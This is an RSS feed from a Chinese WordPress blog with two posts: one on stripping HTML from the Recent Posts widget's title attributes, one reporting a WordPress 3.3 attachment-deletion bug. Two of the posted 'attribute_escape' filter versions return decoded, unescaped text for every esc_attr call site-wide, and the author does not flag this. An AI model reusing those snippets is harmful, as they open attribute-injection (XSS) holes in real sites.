<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacklog &#187; wp问题</title>
	<atom:link href="http://ihacklog.com/cat/wordpress/problems/feed" rel="self" type="application/rss+xml" />
	<link>http://ihacklog.com</link>
	<description>荒野无灯weblog</description>
	<lastBuildDate>Sat, 04 Feb 2012 12:30:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>最近文章title属性去除HTML标签</title>
		<link>http://ihacklog.com/php/wordpress/problems/strip-title-attribute-html-tags.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/strip-title-attribute-html-tags.html#comments</comments>
		<pubDate>Tue, 03 Jan 2012 06:11:33 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5271</guid>
		<description><![CDATA[default-widgets.php line 550: 1&#160; &#160; &#160; &#160; &#60;li&#62;&#60;a href=&#34;&#60;?php the_permalink&#40;&#41; ?&#62;&#34; title=&#34;&#60;?php echo esc_attr&#40;get_the_title&#40;&#41; ? get_the_title&#40;&#41; : get_the_ID&#40;&#41;&#41;; ?&#...]]></description>
			<content:encoded><![CDATA[<p>default-widgets.php line 550:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; &lt;li&gt;&lt;a href=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_permalink<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; title=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> esc_attr<span style="color: #009900;">&#40;</span>get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> ? get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> get_the_ID<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">else</span> the_ID<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/a&gt;&lt;/li&gt;</div></td></tr></tbody></table></div>
<p>属性处未过滤html标签.<br />
查看下the_title_attribute函数的源码会发现这个函数是过滤了的~~~<br />
因此，手动修复它吧，如果为了这个自己重新写一个最近文章的widget,划不来~~~，能偷懒则偷。</p>
<p>因为get_the_title会应用the_title勾子，如果我在the_title HOOK函数中写入HTML代码，此时，显示的东西就不是我们想要的。</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> esc_attr<span style="color: #009900;">&#40;</span><a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span>get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> ? get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> get_the_ID<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>然后又看了下esc_attr函数，</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> esc_attr<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> wp_check_invalid_utf8<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> _wp_specialchars<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> apply_filters<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'attribute_escape'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>发现它是可HOOK的，因此，上面的方案又可以修改了。</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//something like &amp;lt;span style=&amp;quot;color: rgb(121, 6, 25);&amp;quot; &amp;gt;最近文章title属性去除HTML标签&amp;lt;/span&amp;gt;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> strip_all_attribute_tags<span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/html_entity_decode"><span style="color: #990000;">html_entity_decode</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'attribute_escape'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'strip_all_attribute_tags'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">99</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>这样行了吗？有些问题<br />
经html_entity_decode后，一些字符可能会出现乱码。如果写成这样就安全了，不过效率上我不怎么喜欢，有些事情做了两遍：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//something like &amp;lt;span style=&amp;quot;color: rgb(121, 6, 25);&amp;quot; &amp;gt;最近文章title属性去除HTML标签&amp;lt;/span&amp;gt;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> strip_all_attribute_tags<span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> wp_check_invalid_utf8<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> _wp_specialchars<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'attribute_escape'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'strip_all_attribute_tags'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">99</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p><del datetime="2012-01-03T07:55:12+00:00"><br />
最后，决定采取特殊问题特殊化的策略：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//由于最后生成的title内容形如</span><br />
<span style="color: #666666; font-style: italic;">//&amp;lt;span style=&amp;quot;color: rgb(121, 6, 25);&amp;quot; &amp;gt;最近文章title属性去除HTML标签&amp;lt;/span&amp;gt;</span><br />
<span style="color: #666666; font-style: italic;">//其实这里用strpos截取也是可以的，不过我没有测试二者的实际速度相差有多大。不用正则，太耗费时间</span><br />
<span style="color: #000000; font-weight: bold;">function</span> strip_all_attribute_tags<span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&amp;lt;span style=&amp;quot;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&amp;quot; &amp;gt;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&amp;lt;/span&amp;gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;span style=&quot;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&quot; &gt;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&lt;/span&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'attribute_escape'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'strip_all_attribute_tags'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">99</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p></del></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5271";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5271" title="Permanent Link to 最近文章title属性去除HTML标签" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5271</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年09月6日  //  <a href="http://ihacklog.com/software/cool_software_share/qq-exmail.html" title="QQ企业邮箱试用">QQ企业邮箱试用</a> (17)</li><li>2011年03月18日  //  <a href="http://ihacklog.com/programming/c/filecombine.html" title="文本文件批量合并小工具">文本文件批量合并小工具</a> (15)</li><li>2011年12月21日  //  <a href="http://ihacklog.com/php/wordpress/problems/wordpress-33-can-not-delete-attachment-in-thickbox-popup-media-window-after-defined-empty_trash_days-to-zero.html" title="定义EMPTY_TRASH_DAYS常量为0后,WordPress 3.3 无法删除附件的BUG">定义EMPTY_TRASH_DAYS常量为0后,WordPress 3.3 无法删除附件的BUG</a> (2)</li><li>2008年12月27日  //  <a href="http://ihacklog.com/software/tips/top100cn%e4%bd%bf%e7%94%a8%e7%9a%84%e6%98%afred-hat-enterprise-linux.html" title="top100.cn使用的是Red Hat Enterprise Linux">top100.cn使用的是Red Hat Enterprise Linux</a> (0)</li><li>2010年11月26日  //  <a href="http://ihacklog.com/software/cool_software_share/httpwatch.html" title="强大的网页数据分析工具HttpWatch">强大的网页数据分析工具HttpWatch</a> (4)</li><li>2009年05月18日  //  <a href="http://ihacklog.com/php/wordpress/problems/floatleftredehuo.html" title="float:left; 惹的祸">float:left; 惹的祸</a> (4)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/strip-title-attribute-html-tags.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>定义EMPTY_TRASH_DAYS常量为0后,WordPress 3.3 无法删除附件的BUG</title>
		<link>http://ihacklog.com/php/wordpress/problems/wordpress-33-can-not-delete-attachment-in-thickbox-popup-media-window-after-defined-empty_trash_days-to-zero.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/wordpress-33-can-not-delete-attachment-in-thickbox-popup-media-window-after-defined-empty_trash_days-to-zero.html#comments</comments>
		<pubDate>Wed, 21 Dec 2011 00:59:51 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5208</guid>
		<description><![CDATA[在wp-config.php中，定義 1define&#40;'EMPTY_TRASH_DAYS', 0 &#41;; (这条语句可以禁用回收站)之後，在日誌編輯頁面無法正常刪除附件。 為確保沒有其它因素影响操作结果，我禁用了所有的插件，并且，使用的是官方的twentyten主题。 ps: I have tried this on both Linux and Windows server. WordPress version 3.3 PHP version 5.3.6 mysql version 5.5...]]></description>
			<content:encoded><![CDATA[<p>在wp-config.php中，定義</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'EMPTY_TRASH_DAYS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>(这条语句可以禁用回收站)之後，在日誌編輯頁面無法正常刪除附件。</p>
<p>為確保沒有其它因素影响操作结果，我禁用了所有的插件，并且，使用的是官方的twentyten主题。</p>
<hr />
<p>ps:</p>
<blockquote><p>I have tried this on both Linux and Windows server.<br />
WordPress version 3.3<br />
PHP version 5.3.6<br />
mysql version 5.5.11</p></blockquote>
<p>the thread:<br />
<a href="http://wordpress.org/support/topic/bugwordpress-33-can-not-delete-attachment-in-thickbox-popup-media-window">http://wordpress.org/support/topic/bugwordpress-33-can-not-delete-attachment-in-thickbox-popup-media-window</a></p>
<hr />
<p>刪除附件：<br />
<a href="http://static.ihacklog.com/wp-files/2011/12/wp-delete-attachment-bug.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/12/wp-delete-attachment-bug-550x386.png" alt="" title="wp-delete-attachment-bug" width="550" height="386" class="alignnone size-medium wp-image-5211" /> </a></p>
<p>刪除失敗：<br />
<a href="http://static.ihacklog.com/wp-files/2011/12/wp-delete-attachment-failed.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/12/wp-delete-attachment-failed-550x262.png" alt="" title="wp-delete-attachment-failed" width="550" height="262" class="alignnone size-medium wp-image-5210" /> </a></p>
<p>另外，这时，在“媒体库”删除文件是可以正常删除的。</p>
<p>如果注释掉</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'EMPTY_TRASH_DAYS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>则在日志页面可以正常删除附件，这种情况下它会问你是否继续，点那个“继续”就能彻底删除附件了。</p>
<p>调试发现：</p>
<p>存在</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'EMPTY_TRASH_DAYS'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>时:</p>
<blockquote><p>Request URL:wp-admin/admin-ajax.php<br />
Request Method:POST<br />
Status Code:200 OK</p>
<p>Form Data:<br />
id:300<br />
action:trash-post<br />
_ajax_nonce:8583b8742b</p></blockquote>
<p>如果不定义禁用回收站，则：</p>
<blockquote><p>
Request URL: wp-admin/post.php?action=delete&#038;post=300&#038;_wpnonce=8583b8742b<br />
Request Method:GET</p>
<p>Query String Parameters<br />
action:delete<br />
post:300<br />
_wpnonce:8583b8742b</p></blockquote>
<p>解决办法：<br />
观察其生成的链接：</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post.php?action=delete&amp;amp;post=301&amp;amp;_wpnonce=f4e6e7a80f&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;del[301]&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;delete&quot;</span>&gt;</span>Delete Permanently<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;</span></div></td></tr></tbody></table></div>
<p>再看 handlers.js,不难发现是其action参数错误，原本应该是delete的，却搞成了trash-post,所以就出错了。。。 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_arrow.gif' alt=':arrow:' class='wp-smiley' />  </p>
<p>wp-includes/js/swfupload/handlers.dev.js(106)<br />
wp-includes/js/plupload/handlers.dev.js(146)</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Bind AJAX to the new Delete button</span><br />
&nbsp; &nbsp; jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'a.delete'</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Tell the server to delete it. TODO: handle exceptions</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; jQuery.<span style="color: #660066;">ajax</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; url<span style="color: #339933;">:</span> <span style="color: #3366CC;">'admin-ajax.php'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type<span style="color: #339933;">:</span> <span style="color: #3366CC;">'post'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; success<span style="color: #339933;">:</span> deleteSuccess<span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; error<span style="color: #339933;">:</span> deleteError<span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; id<span style="color: #339933;">:</span> fileObj.<span style="color: #660066;">id</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; id <span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">id</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/[^0-9]/g</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; action <span style="color: #339933;">:</span> <span style="color: #3366CC;">'trash-post'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _ajax_nonce <span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">href</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/^.*wpnonce=/</span><span style="color: #339933;">,</span><span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
